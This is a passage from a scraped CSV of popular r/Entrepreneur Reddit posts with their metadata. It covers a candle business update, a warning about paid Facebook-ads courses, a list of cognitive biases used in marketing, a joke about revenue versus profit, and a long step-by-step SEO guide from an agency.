To this date the supply website is about to cross $100,000 in sales here in the next week and based on previous months sales I am projecting to clear around $130-$140,000 in sales. Next year I think I can easily double those numbers. Adding up the supply site, the candle site, and yotube I know that I will clear minimum of $200,000 this year and if I can really kick it into overdrive with the last two months of the year being the busiest time for candles I think I can actually make closer to $250,000 this year. I also just opened my first brick and mortar retail and warehouse location! I am very excited about this one and I will try to attach pictures to the post. The finishing touches are being put on the retail side and the warehouse side is ready to go. I met with my first potential employee last night and really excited to get this going.I am still working my full time job which is in I.T. with the plans to transition to the candles full time within the next 1-2 years. There are a couple more things that add to the overall numbers like affiliate links which is another $3000-$4000 a year. All in all it's been an amazing journey and one that has ben way more than I ever thought it would be. I also have to give a huge shoutout to u/garyvee who has been the one guy I looked to for little tips and help along the way. I have to say that because someone was talking shit just a while back about how his advice is bullshit and no one actually makes money from ""his motivational bullshit""Well I for one can honestly say his advice, videos, and books have helped me tremendously.",LordStandley,1824,235,1636045972,/r/Entrepreneur/comments/qmpgla/update_4_years_later_started_a_candle_side_hustle/,https://www.reddit.com/r/Entrepreneur/comments/qmpgla/update_4_years_later_started_a_candle_side_hustle/,self.Entrepreneur,True,,,,, 6li0nx,Entrepreneur,"PSA: STOP giving Facebook marketing guru's your money, all the info you need is available for free","I am so sick and tired of going on Facebook and seeing advertisements, everywhere, for expensive courses/books/guides on ""Optimizing Facebook ads"" or ""Learning to A/B split test Facebook ads for maximum profit"". It seems like another Facebook marketing guru I haven't heard of pops up every week, with another piece of garbage on learning how to market something on Facebook. So here's the simple truth: They are not teaching you anything revolutionary. Everything you could possibly need is available, for free, from Facebook themselves through this thing called Facebook Blueprint. https://www.facebook.com/blueprint/courses/path/all-content Every possible thing you would need, from beginner to experienced Facebook ads user, is here. There is even an official certification (paid) that gets you certified **by Facebook** once you go through the course and complete an exam. Want to learn how to structure campaigns for a small business? There's a [course](https://www.facebook.com/blueprint/courses/category/small-and-medium-businesses) for that. Are you an experienced ads user and want to learn about the Power Editor? There's a course for that (http://facebook.exceedlms.com/student/home/show_enrollment/42769427). There's a course for almost every single thing within Facebook, for free. EDIT: ""But catch3!!! I'm a fish farmer and I like how the super special online guru holds my hand through the whole *spiritual* process of setting up my campaign with a **sales funnel** to target other fisheries in my area! The courses on Facebook Blueprint don't have ANYTHING related to my niche! And we have an exclusive forum where we can sing songs and hold hands together!"" - Ok, then use an online guru, just make sure that you're getting what you paid for. I know this comes off as ranty, but I'm sick of these gurus taking advantage of people who don't know that most, if not all of the information they are looking for is out there, for free. EDIT2: Bonus link from an AskReddit thread earlier this week: https://learndigital.withgoogle.com/digitalgarage",catch3,1798,166,1499299292,/r/Entrepreneur/comments/6li0nx/psa_stop_giving_facebook_marketing_gurus_your/,https://www.reddit.com/r/Entrepreneur/comments/6li0nx/psa_stop_giving_facebook_marketing_gurus_your/,self.Entrepreneur,True,,,,, rpw214,Entrepreneur,Elon Musk tweeted recently about the importance of being aware of cognitive biases - here are 20 Cognitive Biases used by businesses to make billions of dollars every year,"""People don't buy products. They buy emotions"".Over 95% of our purchasing decisions are emotional. Marketing tools are just the tools to influence the human psyche in one way or another, with psychology in its core. &#x200B; I play with behavioral science (psychology in marketing) on a daily basis, so I thought I will share 20 biases here, so you can implement them in your business today to make a few extra bucks: &#x200B; \------------ ***EDIT because a few people asked already****If you want I have a* [*free newsletter*](https://kickstartsidehustle.com/) *where I share over 150+ more biases like these ones, but in more extended versions* [btw, here's an article about how 42 billion-dollars created their MVPs and got their first 1,000 customers](http://kickstartsidehustle.com/a-billion-dollar-mvp/) \------------ &#x200B; # 1. Fresh Start Effect - New beginnings encourage people to pursue their goals This bias is responsible for the whole ""New Year, New you"" movement. Whether it's a cliche or not, people want to change at the beginning of every year. Right NOW (at the end of the year), market your product offering the ""New You"" solution your product provides. &#x200B; # 2. Default Effect - People tend to accept what we are given and stick with what we have While offering services package, instead of asking if the customer wants the additional services, just include additional, complementary services in the offering, and ask if they want to exclude some of them from the bill. With this one, you might double or triple your average order value. &#x200B; # 3. Labour Illusion - People value things more when they see the work behind them Build in Public - constant updates on new features and upgrades to your products or services creates the perception there's a lot of work put into your business, making it more valuable &#x200B; # 4. Humor effect - People remember humorous information better Humor can increase your conversion rate by 28%Using funny GIFs in your copy, newsletter, or landing page can increase the attractiveness of your product or services. &#x200B; # 5. Framing Effect - people decide on options based on how the options are presented Pricing - ""The tool costs $720/year"" or ""The tool costs $2/day"" &#x200B; # 6. Decoy Effect - People change their preference between two options when presented with a third option (the decoy) that is “asymmetrically dominated” Pricing - if you offer just 1 price, a customer has 2 choices: either to buy or not.If you offer 2 choices of pricing, a customer has 3 choices: To buy the cheaper one, the more expensive one, or not to buy.When you add the third pricing option, a much more expensive one, now the second price (the previous expensive one) looks like a bargain. &#x200B; # 7. Goal Gradient Effect - The closer to the goal the more motivated people are Coupon Stamps - whenever a new customer arrives, give them 2 stamps instead of 1. This will give them a little boost to return. &#x200B; # 8. Stepping Stones - to embark on a complex journey every step needs to be attainable When creating a referral program the most important reward is the first one. The first reward has to be both achievable and attractive to motivate people to participate. &#x200B; # 9. Inaction Inertia Effect - When missing an offer once you are likely to miss an offer twice. When people see that you're giving big discounts frivolously every month or week, they tend to ignore them after a while, because the perceived value for your product is low. &#x200B; # 10. Foot-In-The-Door Technique - Getting a person to agree to a large request by their agreeing to a small one first Upsell whenever you can, but in a friendly, not pushy manner.Last week, I went to McDonald's with my friend. I was in shock at how effective these self-service kiosks were with upsells! My friend took about 5 upsells and was ecstatic about it &#x200B; # 11. Risk Compensation Theory - People tend to be more careful if they feel there is a greater risk if they take a particular action. They are less careful when they feel they’re protected by certain factors. Outline a clear refund/return policy. By offering a 30-day money-back guarantee encourage people to make business with you. &#x200B; # 12. Life Event Effect - people are more likely to change their habits during a major life event Ads - target people when they move to a new house, start a new job, etc. People are 3 times more likely to switch brands during the major life event &#x200B; # 13. Country of Origin Effect - People's perceptions are influenced by a product’s country of origin labeling Switzerland is associated with the best watches and swiss army knives in the world.Italy is associated with the best wine, cheese, and olives.Every country is famous for something - use it to your advantage. &#x200B; # 14. Storytelling Effect - People prefer and better remember stories than facts alone In 2009, Rob Walker bought 200 objects from eBay for a total sum of $129. He then asked 200 authors to create a story for each object. Rob then sold those 200 objects with included stories on eBay again. He sold them for $8000. That's a 6202% increase in value. &#x200B; # 15. Primacy & Recency Effect - People remember things that come first and last more clearly Your first and last impression matters the most.E.g: Provide your best articles when someone signs up for your newsletter.End your newsletter with something witty, funny, unexpecting. &#x200B; # 16. Pratfall Effect - If a brand admits its flaws and makes itself vulnerable, we perceive it as more authentic, thus more likable There's a catch to that. Your brand needs to be well perceived in the first place. Then, admitting to your flaws make your brand more authentic.When you're admitting to your flaws, when your brand is perceived as not reliable, it makes things worse. &#x200B; # 17. Cashless Effect - People pay more when they can't actually see the money “Buy Now Pay Later” option at the checkout, in the US, increases an average order value up to 50%, decreases cart abandonment by 28%, boosts repeat purchases among first-time customers up to 23%, and reduces sales refunds by 17%. &#x200B; # 18. Endowment Effect - Users value something more if they feel it belongs to them Offer a freemium version of your products. The key is to offer the right features in the free version.You want to offer enough that users experience the best of what it has to offer but hold back enough to make serious users want to upgrade their package. &#x200B; # 19. Sensory Adaptation - People ignore the things they get exposed to repeatedly Instead of a single graphic in ads, provide an ad sequence, that releases each different ad to the user, depending on user actions or timing. &#x200B; # 20. Pareto Principle - generally known as the 80-20 rule, states that roughly 80% of the effects come from 20% of the causes The 80/20 rule can also be applied to the 80/20 rule, which provides an ASTOUNDING revelation:Effort: 20% of 20% of 20% = 0.8%Results: 80% of 80% of 80% = 51.2%In conclusion: over 50% of your results are produced by less than 1% of your effort!!! 50% of your revenue likely comes from 1% of your efforts.50% of happiness likely comes from 1% of your experiences.etc.source for this Pareto structure: Brian Bourque &#x200B; &#x200B; \------------------------- That's it! If you want I have a [free newsletter](https://kickstartsidehustle.com/) where I share over 130+ more biases like these ones, but in a more extended versions",Limejhit,1798,167,1640635662,/r/Entrepreneur/comments/rpw214/elon_musk_tweeted_recently_about_the_importance/,https://www.reddit.com/r/Entrepreneur/comments/rpw214/elon_musk_tweeted_recently_about_the_importance/,self.Entrepreneur,True,,,,, aphqbe,Entrepreneur,"How to make easy $10,000 in 3 simple steps","1. Buy $11,000 worth of salt. 2. Sell for $10,000. 3. Boom. $10,000 in **revenue**, overnight. Bonus - Post it on /r/entrepreneur Whenever someone shares their revenue numbers, but not their expenses/profits/margins, take it with $1,000 grains worth’s of salt. Most probably they are planning to sell a $499 course to 20 people, right here. [source ](https://twitter.com/marckohlbrugge/status/1092702191448539136) ",alertify,1780,212,1549901339,/r/Entrepreneur/comments/aphqbe/how_to_make_easy_10000_in_3_simple_steps/,https://www.reddit.com/r/Entrepreneur/comments/aphqbe/how_to_make_easy_10000_in_3_simple_steps/,self.Entrepreneur,True,,,,, jx1zcx,Entrepreneur,SEO is easy. The EXACT process we use to scale our clients' SEO from 0 to 200k monthly traffic and beyond,"Hey guys! There's a TON of content out there on SEO - guides, articles, courses, videos, scams, people yelling about it on online forums, etc etc.. Most of it, however, is super impractical. If you want to start doing SEO TODAY and start getting results ASAP, you'll need to do a TON of digging to figure out what's important and what's not. So we wanted to make everyone's lives super easy and distill our EXACT process of working w/ clients into a stupid-simple, step-by-step practical guide. And so we did. Here we are. *P.S:* r/startups*, and* r/seo *loved the guide, so I thought you guys might like it too.* # A bit of backstory: *If you guys haven't seen any of my previous posts, me and my co-founder own an SEO/digital marketing agency, and we've worked w/ a ton of clients helping them go from 0 to 200k+ monthly organic traffic. We've also helped some quite big companies grow their organic traffic (from 1M to over 1.8M monthly organic), using the exact same process.* So without further ado, grab your popcorn, and be prepared to stick to the screen for a while, cause this is going to be a long post. Here's everything I am going to cover: * Get your website to run and load 2x - 5x faster (with MINIMAL technical know-how) * Optimize your landing pages to rank for direct intent keywords (and drive 100% qualified leads) * Create amazing, long-form content that ranks every time * How we get a TON of links to our website with ZERO link-building efforts * How to improve your content’s rankings with Surfer SEO # Step #1 - Technical Optimization and On-Page SEO Step #1 to any SEO initiative is getting your technical SEO right. Now, some of this is going to be a bit technical, so you might just forward this part to your tech team and just skip ahead to ""Step #2 - Keyword Research."" If you DON'T have a tech team and want a super easy tl;dr, do this: * Use WP Rocket. It's a WordPress plugin that optimizes a bunch of stuff on your website, making it run significantly faster. * Use SMUSH to (losslessly) compress all the images on your website. this usually helps a TON w/ load speed. If you’re a bit more tech-savvy, though, read on! ## Technical SEO Basics **Sitemap.xml file.** A good sitemap shows Google how to easily navigate your website (and how to find all your content!). If your site runs on WordPress, all you have to do is install YoastSEO or Rankmath SEO, and they’ll create a sitemap for you. Otherwise, you can use an online XML Sitemap generation tool. **Proper website architecture.** The crawl depth of any page should be lower than 4 (i.e: any given page should be reached with no more than 3 clicks from the homepage). To fix this, you should improve your interlinking (check Step #6 of this guide to learn more). **Serve images in next-gen format.** Next-gen image formats (JPEG 2000, JPEG XR, and WebP) can be compressed a lot better than JPG or PNG images. Using WordPress? Just use Smush and it’ll do ALL the work for you. Otherwise, you can manually compress all images and re-upload them. **Remove duplicate content.** Google hates duplicate content and will penalize you for it. If you have any duplicate pages, just merge them (by doing a 301 redirect) or delete one or the other. **Update your ‘robots.txt’ file.** Hide the pages you don’t want Google to index (e.g: non-public, or unimportant pages). If you’re a SaaS, this would be most of your in-app pages. \] **Optimize all your pages by best practice**. There’s a bunch of general best practices that Google wants you to follow for your web pages (maintain keyword density, have an adequate # of outbound links, etc.). Install YoastSEO or RankMath and use them to optimize all of your web pages. If you DON’T have any pages that you don’t want to be displayed on Google, you DON’T need robots.txt. ## Advanced Technical SEO Now, this is where this gets a bit more web-devvy. Other than just optimizing your website for SEO, you should also focus on optimizing your website speed. Here’s how to do that: Both for Mobile and PC, your website should load in under 2-3 seconds. While load speed isn’t a DIRECT ranking factor, it does have a very serious impact on your rankings. After all, if your website doesn’t load for 5 seconds, a bunch of your visitors might drop off. So, to measure your website speed performance, you can use Pagespeed Insights. Some of the most common issues we have seen clients facing when it comes to website speed and loading time, are the following: * **Images being resized with CSS or JS.** This adds extra loading time to your site. Use GTMetrix to find which images need resizing. Use an online tool (there are a ton of free ones) to properly resize images (or Photoshop even), and re-upload them. * **Images not being lazy-loaded.** If your pages contain a lot of images, you MUST activate lazy-loading. This allows images that are below the screen, to be loaded only once the visitor scrolls down enough to see the image. * **Gzip compression** **not enabled.** Gzip is a compression method that allows network file transfers to happen a ton faster. In other words, your files like your HTML, CSS, and JS load a ton faster. * **JS, CSS, and HTML not minified/aggregated/in-lined.** If your website is loading slowly because you have 100+ external javascript files and stylesheets being requested from the server, then you need to look into minifying, aggregating, and inlining some of those files. * **Use Cloudflare + BunnyCDN** Why the combo? Why not just Cloudflare? Well, I won't get into details, I've experimented a bit with it, and if you are looking for something cheap and fast this is the best combo. Cloudflare you can opt in for the free account. BunnyCDN on the other hand is on a pay-as-you-go basis, and unless you are getting over 100K+ visits a month, you'll likely never go above their minimum monthly threshold of $1. Want to make your life easier AND fix up all these issues and more? Use WP Rocket. The tool basically does all your optimization for you (if you’re using WordPress, of course). Lastly, i*f you want to validate the website speed optimization changes you've made, or if you simply want to test how your current site is performing, you can use* ***Google Page Speed Insights***\*.\* *In May 2020, Google rolled out its Core Web Vitals update, which in layman terms means starting next May (2021), the three most important website load speed metrics you will need to worry for ranking will be:* 1. *LCP - Largest Contentful Paint -> under 2.5s* 2. *FID - First Input Delay -> under 100ms* 3. *CLS - Cumulative Layout Shift -> under 0.1* # Step #2 - Keyword Research Once your website is 100% optimized, it’s time to define your SEO strategy. The best way to get started with this is by doing keyword research. First off, you want to create a keyword research sheet. This is going to be your main hub for all your content operations. You can use the sheet to: 1. Prioritize content 2. Keep track of the publishing process 3. Get a top-down view of your web pages And here’s what it covers: * **Target search phrase**. This is the keyword you’re targeting. * **Priority**. What’s the priority of this keyword? We usually divide them by 1-2-3… * Priority 3 - Top priority keywords. These are usually low competition, high traffic, well-converting, or all 3 at the same time. * Priority 2 - Mid-priority keywords. * Priority 1 - These are low priority. * **Status**. What’s the status of the article? We usually divide them by… * 1 - Not written * 2 - Writer has picked up the topic for the week * 3 - The article is being written * 4 - The article is in editing phase * 5 - The article is published on the blog * **Topic cluster**. The category that the blog post belongs to. * **Monthly search volume**. Self-explanatory. This helps you pick a priority for the keyword. * **CPC (low & high bid)**. Cost per click for the keyword. Generally, unless you’re planning to run search ads, these are not mandatory. They can, however, help you figure out which of your keywords will convert better. **Pro tip:** the higher the CPC, the more likely it is for the keyword to convert well. Now that you have your sheet (and understand how it works), let’s talk about the “how” of keyword research. ## How to do Keyword Research (Step-by-Step Guide) There are a ton of different ways to do that (check the “further readings” at the end of this section for a detailed rundown). Our favorite method, however, is as follows… Start off by listing out your top 5 SEO competitors. The key here is SEO competitors - competing companies that have a strong SEO presence in the same niche. Not sure who’s a good SEO competitor? Google the top keywords that describe your product and find your top-ranking competitors. Run them through SEMrush (or your favorite SEO tool), and you’ll see how well, exactly, they’re doing with their SEO. Once you have a list of 5 competitors, run each of them through “Organic Research” on SEMrush, and you'll get a complete list of all the keywords they rank on. Now, go through these keywords one by one and extract all the relevant ones and add them to your sheet. Once you go through the top SEO competitors, your keyword research should be around 80%+ done. Now to put some finishing touches on your keyword research, run your top keywords through UberSuggest and let it do its magic. It's going to give you a bunch of keywords associated with the keywords you input. Go through all the results it's going to give you, extract anything that’s relevant, and your keyword research should be 90% done. At this point, you can call it a day and move on to the next step. Chances are, over time, you’ll uncover new keywords to add to your sheet and get you to that sweet 100%. # Step #3 - Create SEO Landing Pages Remember how we collected a bunch of landing page keywords in step #2? Now it’s time to build the right page for each of them! This step is a lot more straightforward than you’d think. First off, you create a custom landing page based on the keyword. Depending on your niche, this can be done in 2 ways: 1. Create a general template landing page. Pretty much copy-paste your landing page, alter the sub-headings, paraphrase it a bit, and add relevant images to the use-case. You’d go with this option if the keywords you’re targeting are very similar to your main use-case (e.g. “project management software” “project management system”). 2. Create a unique landing page for each use-case. You should do this if each use-case is unique. For example, if your software doubles as project management software and workflow management software. In this case, you’ll need two completely new landing pages for each keyword. Once you have a bunch of these pages ready, you should optimize them for their respective keywords. You can do this by running the page content through an SEO tool. If you’re using WordPress, you can do this through RankMath or Yoast SEO. Both tools will give you exact instructions on how to optimize your page for the keyword. If you’re not using WordPress, you can use SurferSEO. Just copy-paste your web page content, and it’s going to give you instructions on how to optimize it. Once your new landing pages are live, you need to pick where you want to place them on your website. We usually recommend adding these pages to your website’s navigation menu (header) or footer. Finally, once you have all these new landing pages up, you might be thinking “Now what? How, and when, are these pages going to rank?” Generally, landing pages are a tad harder to rank than content. See, with content, quality plays a huge part. Write better, longer, and more informative content than your competition, and you’re going to eventually outrank them even if they have more links. With landing pages, things aren’t as cut and dry. More often than not, you can’t just “create a better landing page.” What determines rankings for landing page keywords are backlinks. If your competitors have 400 links on their landing pages, while yours has 40, chances are, you’re not going to outrank them. # Step #4 - Create SEO Blog Content Now, let’s talk about the other side of the coin: content keywords, and how to create content that ranks. As we mentioned before, these keywords aren’t direct-intent (the Googler isn’t SPECIFICALLY looking for your product), but they can still convert pretty well. For example, if you’re a digital marketing agency, you could rank on keywords like… * Lead generation techniques * SaaS marketing * SEO content After all, anyone looking to learn about lead gen techniques might also be willing to pay you to do it for them. On top of this, blog post keywords are way easier to rank for than your landing pages - you can beat competition simply by creating significantly better content without turning it into a backlink war.In order to create good SEO content, you need to do 2 things right: 1. Create a comprehensive content outline 2. Get the writing part right Here’s how each of these work... ## How to Create a Content Outline for SEO A content outline is a document that has all the info on what type of information the article should contain Usually, this includes: * Which headers and subheaders you should use * What’s the optimal word count * What information, exactly, should each section of the article cover * If you’re not using Yoast or Rankmath, you can also mention the SEO optimization requirements (keyword density, # of outbound links, etc.) Outlines are useful if you’re working with a writing team that isn’t 100% familiar with SEO, allowing them to write content that ranks without any SEO know-how. At the same time, even if you’re the one doing the writing, an outline can help you get a top-down idea of what you should cover in the article. So, how do you create an outline? Here’s a simplified step-by-step process… 1. Determine the target word count. Rule of thumb: aim for 1.5x - 2x whatever your competitor wrote. You can disregard this if your competition was super comprehensive with their content, and just go for the same length instead. 2. Create a similar header structure as your competition. Indicate for the writer which headers should be h2, which ones h3. 3. For each header, mention what it’s about. Pro tip - you can borrow ideas from the top 5 ranking articles. 4. For each header, explain what, exactly, should the writer mention (in simple words). 5. Finally, do some first-hand research on Reddit and Quora. What are the questions your target audience has around your topic? What else could you add to the article that would be super valuable for your customers? ## How to Write Well There’s a lot more to good content than giving an outline to a writer. Sure, they can hit all the right points, but if the writing itself is mediocre, no one’s going to stick around to read your article. Here are some essential tips you should keep in mind for writing content (or managing a team of writers): 1. Write for your audience. Are you a B2B enterprise SaaS? Your blog posts should be more formal and professional. B2C, super-consumer product? Talk in a more casual, relaxed fashion. Sprinkle your content with pop culture references for bonus points! 2. Avoid fluff. Every single sentence should have some sort of value (conveying information, cracking a joke, etc.). Avoid beating around the bush, and be as straightforward as possible. 3. Keep your audience’s knowledge in mind. For example, if your audience is a bunch of rocket scientists, you don’t have to explain to them how 1+1=2. 4. Create a writer guideline (or just steal ours! -> edit: sorry had to remove link due to posting guidelines) 5. Use Grammarly and Hemingway. The first is like your personal pocket editor, and the latter helps make your content easier to read. 6. Hire the right writers. Chances are, you’re too busy to write your own content. We usually recommend using ProBlogger or Cult of Copy Job Board (Facebook Group) to source top writing talent. # Step #5 - Start Link-Building Operations Links are essential if you want your content or web pages to rank. If you’re in a competitive niche, links are going to be the final deciding factor on what ranks and what doesn’t. In the VPN niche, for example, everyone has good content. That’s just the baseline. The real competition is in the backlinks. To better illustrate this example, if you Google “best VPN,” you’ll see that all top-ranking content pieces are almost the same thing. They’re all: * Well-written * Long-form * Easy to navigate * Well-formatted (to enhance UX) So, the determining factor is links. If you check all the top-ranking articles with the Moz Toolbar Extension, you’ll see that on average, each page has a minimum of 300 links (and some over 100,000!). Meaning, to compete, you’ll really need to double-down on your link-building effort. In fact, in the most competitive SEO niches, it’s not uncommon to spend $20,000 per month on link-building efforts alone. &#x200B; >**Pro Tip** > >Got scared by the high $$$ some companies spend on link-building? Well, worry not! > >Only the most ever-green niches are so competitive. Think, VPN, make money online, health and fitness, dating, CBD, gambling, etc. So you know, the usual culprits. > >For most other niches, you can even rank with minimal links, as long as you have top-tier SEO content. Now, let’s ask the million-dollar question: *“how do you do link-building?”* # 4 Evergreen Link Building Strategies for Any Website There are a TON of different link building strategies on the web. Broken link building, scholarship link building, stealing competitor links, and so on and so on and so on. We’re not going to list every single link building strategy out there (mainly because Backlinko already did that in their link building guide). What we are going to do, though, is list out some of our favorite strategies, and link you to resources where you can learn more: 1. **Broken link building**. You find dead pages with a lot of backlinks, reach out to websites that linked to them, and pitch them something like “hey, you linked to this article, but it’s dead. We thought you’d want to fix that. You can use our recent article if you think it’s cool enough.” 2. **Guest posting.** Probably the most popular link building strategy. Find blogs that accept guest posts, and send them a pitch! They usually let you include 1-2 do-follow links back to your website. 3. “**Linkable asset” link building**. A linkable asset is a resource that is so AWESOME that you just can’t help but link to. Think, infographics, online calculators, first-hand studies or research, stuff like that. The tl;dr here is, you create an awesome resource, and promote the hell out of it on the web. 4. **Skyscraper technique**. The skyscraper technique is a term coined by Backlinko. The gist of it is, you find link-worthy content on the web, create something even better, and reach out to the right people. Most of these strategies work, and you can find a ton of resources on the web if you want to learn more. However, if you’re looking for something a bit different, oh boy we have a treat for you! We’re going to teach you a link-building strategy that got us around: * 10,000+ traffic within a week * 15+ leads * 50+ links ...And so much more, all through a *single* blog post. # Link-Building Case Study: SaaS Marketing *“So, what’s this ancient link-building tactic?”* I hear you asking. It must be something super secretive and esoteric, right? Secrets learned straight from the link-building monks at an ancient SEO temple… *“Right?”* Well, not quite. The tactic isn’t something too unusual - it’s pretty famous on the web. This tactic comes in 2 steps: 1. Figure out where your target audience hangs out (create a list of the channels) 2. Research the type of content your audience loves 3. Create EPIC content based on that research (give TONS of value) 4. Promote the HELL out of it in the channels from step 1 Nothing too new, right? Well, you’d be surprised how many people don’t use it. Now, before you start throwing stones at us for overhyping something so simple, let’s dive into the case study: **How we PR’d the hell out of our guide to SaaS marketing** (can't add a link, but it's on our blog and it's 14k words long), **and got 10k+ traffic as a result.** A few months back when we launched our blog, we were deciding on what our initial content should be about. Since we specialize in helping SaaS companies acquire new users, we decided to create a mega-authority guide to SaaS marketing (AND try to get it to rank for its respective keyword). We went through the top-ranking content pieces, and saw that none of them was anything too impressive. Most of them were about general startup marketing strategies - how to validate your MVP, find a product-market fit, etc. Pretty “meh,” if you ask us. We believe that the #1 thing founders are looking for when Googling “saas marketing” are practical channels and tactics you can use to acquire new users. So, it all started off with an idea: create a listicle of the top SaaS marketing tactics out there: 1. How to create good content to drive users 2. Promote your content 3. Rank on Google 4. Create viral infographics 5. Create a micro-site ...and we ended up overdoing it, covering 41+ different tactics and case studies and hitting around 14k+ words. On one hand, oops! On the other hand, we had some pretty epic content on our hands. We even added the Smart Content Filter to make the article much easier to navigate. Once the article was up, we ran it through some of our clients, friends, and acquaintances, and received some really good feedback. So, now we knew it was worth promoting the hell out of it. We came up with a huge list of all online channels that would appreciate this article: 1. r/ entrepreneur and r/ startups (hi guys!). The first ended up loving the post, netting us \~600 upboats and a platinum medal. The latter also ended up loving the post, but the mods decided to be assholes and remove it for being “self-promotional.” So, despite the community loving the content, it got axed by the mods. Sad. (Fun fact - this one time we tried to submit another content piece on r/ startups with no company names, no links back to our website, or anything that can be deemed promotional. One of the mods removed it for mentioning a link to Ahrefs. Go figure!) 2. Hacker News. Tons of founders hang out on HN, so we thought they’d appreciate anything SaaS-related. This netted us around \~200+ upvotes and some awesome feedback (thanks HN!) 3. Submit on Growth Hackers, Indie Hackers, and all other online marketing communities. We got a bunch of love on Indie Hackers, the rest were quite inactive. 4. Reach out to all personal connects + clients and ask for a share 5. Run Facebook/Twitter ads. This didn’t particularly work out too well for us, so we dropped it after 1-2 weeks. 6. Run a Quuu promotion. If you haven’t heard of Quuu, it’s a platform that matches people who want their content to be shared, with people who want their social media profiles running on 100% auto-pilot. We also got “meh” results here - tons of shares, next to no likes or link clicks. 7. Promoted in SaaS and marketing Facebook groups. This had awesome results both in terms of traffic, as well as making new friends, AND getting new leads. 8. Promoted in entrepreneur Slack channels. This worked OK - didn’t net us traffic, but got us some new friends. 9. Emailed anyone we mentioned in the article and asked for a share. Since we mentioned too many high profile peeps and not enough non-celebs, this didn’t work out too well 10. Emailed influencers that we thought would like the article / give it a share. They didn’t. We were heart-broken. And accordingly, created a checklist + distribution sheet with all the websites or emails of people we wanted to ping. Overall, this netted us around 12,000 page views in total, 15+ leads, 6,000 traffic in just 2 promotion days. As for SEO results, we got a bunch of links. (I would have added screenshots to all of these results, but don't think this subreddit allows it). A lot of these are no-follow from Reddit, HackerNews, and other submission websites, but a lot of them are also pretty authentic. The cool part about this link-building tactic is that people link to you without even asking. You create awesome content that helps people, and you get rewarded with links, shares, and traffic! And as for the cherry on top, only 2 months after publishing the article, it’s ranking on position #28. We’re expecting it to get to page 1 within the new few months and top 3 within the year. # Step #6 - Interlink Your Pages One of Google's ranking factors is how long your visitors stick around on your website. So, you need to encourage users reading ONE article, to read, well, the rest of them (or at least browse around your website). This is done through interlinking. The idea is that each of your web pages should be linked to and from every other relevant page on your site. Say, an article on ""how to make a resume"" could link to (and be linked from) ""how to include contact info on a resume,"" ""how to write a cover letter,"" ""what's the difference between a CV and a resume,"" and so on. Proper interlinking alone can have a significant impact on your website rankings. NinjaOutreach, for example, managed to improve their organic traffic by 40% through better interlinking alone. So, how do you do interlinking “right?” First off, make it a requirement for your writers to link to the rest of your content. Add a clause to your writer guidelines that each article should have 10+ links to your other content pieces. More often than not, they’ll manage to get 60-70% of interlinking opportunities. To get this to 100%, we usually do bi-annual interlinking runs. Here’s how that works. Pick an article you want to interlink. Let’s say, for example, an article on 'business process management'. The goal here is to find as many existing articles on your blog, where ‘business process management’ is mentioned so that we can add a link to the article. Firstly, Google the keyword ‘business process management’ by doing a Google search on your domain. You can use the following query: *site:yourwebsite.com ""keyword""* In our case, that’s: site:example.com “business process management” You’ll get a complete list of articles that mention the keyword “business process management. Now, all you have to do is go through each of these, and make sure that the keyword is hyperlinked to the respective article! You should also do this for all the synonyms of the keyword for this article. For example, “BPM” is an acronym for business process management, so you’d want to link this article there too. # Step #7 - Track & Improve Your Headline CTRs Article CTRs play a huge role in determining what ranks or not. Let’s say your article ranks #4 with a CTR of 15%. Google benchmarks this CTR with the average CTR for the position. If the average CTR for position #4 is 12%, Google will assume that your article, with a CTR of 15% is of high quality, and will reward you with better rankings. On the other hand, if the average CTR is 18%, Google will assume that your article isn’t as valuable as other ranking content pieces, and will lower your ranking. So, it’s important to keep track of your Click Through Rates for all your articles, and when you see something that’s underperforming, you can test different headlines to see if they’ll improve CTR. Now, you’re probably wondering, how do you figure out what’s the average CTR? Unfortunately, each search result is different, and there's no one size fits all formula for average CTR. Over the past few years, Google has been implementing a bunch of different types of search results - featured snippet, QAs, and a lot of other types of search results. So, depending on how many of these clutter and the search results for your given keyword, you’ll get different average CTRs by position. Rule of thumb, you can follow these values: * 1st position -> \~31.73% CTR * 2nd pos. -> \~24.71% * 3rd pos. -> 18.66% * 4th pos. -> 13.60% * 5th -> 9.51% * 6th -> 6.23% * 7th -> 4.15% * 8th -> 3.12% * 9th -> 2.97% Keep in mind these change a lot depending on your industry, PPC competitiveness, 0-click searches, etc... **Use a scraping tool** like Screaming Frog to extract the following data from all your web pages: * Page title * Page URL * Old Headline Delete all the pages that aren’t meant to rank on Google. Then, head over to Google Search Console and extract the following data for all the web pages: * CTR (28 Day Range) * Avg. Position Add all of this data to a spreadsheet. Now, check what your competition is doing and use that to come up with new headline ideas. Then, put them in the *Title Ideas* cell for the respective keyword. For each keyword, come up with 4-5 different headlines, and implement the (seemingly) best title for each article. Once you implement the change, insert the date on the *Date Implemented* column. This will help you keep track of progress. Then, wait for around 3 - 4 weeks to see what kind of impact this change is going to have on your rankings and CTR. If the results are not satisfactory, record the results in the respective cells, and implement another test for the following month. Make sure to update the *Date Implemented* column once again. # Step #8 - Keep Track of Rankings & Make Improvements On-The-Go You’re never really “done” with SEO - you should always keep track of your rankings and see if there’s any room for improvement. If you wait for an adequate time-frame after publishing a post (6 months to a year) and you’re still seeing next to no results, then it might be time to investigate. Here’s what this usually looks like for us: * **Audit the content** * Does your content have an adequate word count? Think, 1.5-2x your competitors. * Is the content well-written? * Do the images in your article add value? E.g. no stock or irrelevant images. * Is the content optimized for SEO? Think, keyword density, links to external websites, etc. * **Audit internal links** * Does the content link to an adequate number of your other articles or web pages? * Is the article linked to from an adequate number of your web pages or blog posts? You can check this on Search Console => Links => Internal Links. Or, if you’re using Yoast or RankMath, you can check the # of internal links a post has in the WordPress Dashboard -> Posts. * **Audit the backlinks** * Do you have as many backlinks as your competitors? * Are your backlinks from the countries you want to rank in? If you have a bunch of links from India, but you want to rank in the US, you’d need to get more US links. * Are your links high quality? More often than not, low DA / PA links are not that helpful. * Did you disown low-quality or spam links? * **Audit web page** * Does the web page load too slow? Think, 4+ seconds. * Did you enable lazy loading for the images? * Did you compress all images on the web page? ...And that's it. Hope you guys had a good read and learned a thing or two :) HMU if you have any questions. If you want to read the full version in a more reader-friendly format, you can check out our [SEO process](https://apollodigital.io/blog/seo-process) blog post here.",malchik23,1753,239,1605789658,/r/Entrepreneur/comments/jx1zcx/seo_is_easy_the_exact_process_we_use_to_scale_our/,https://www.reddit.com/r/Entrepreneur/comments/jx1zcx/seo_is_easy_the_exact_process_we_use_to_scale_our/,self.Entrepreneur,True,,,,, quf53x,Entrepreneur,Canva founder was rejected over 100 times by investors… now the company is worth $40 billion,"Determination is one of the many lessons we can learn from Melanie 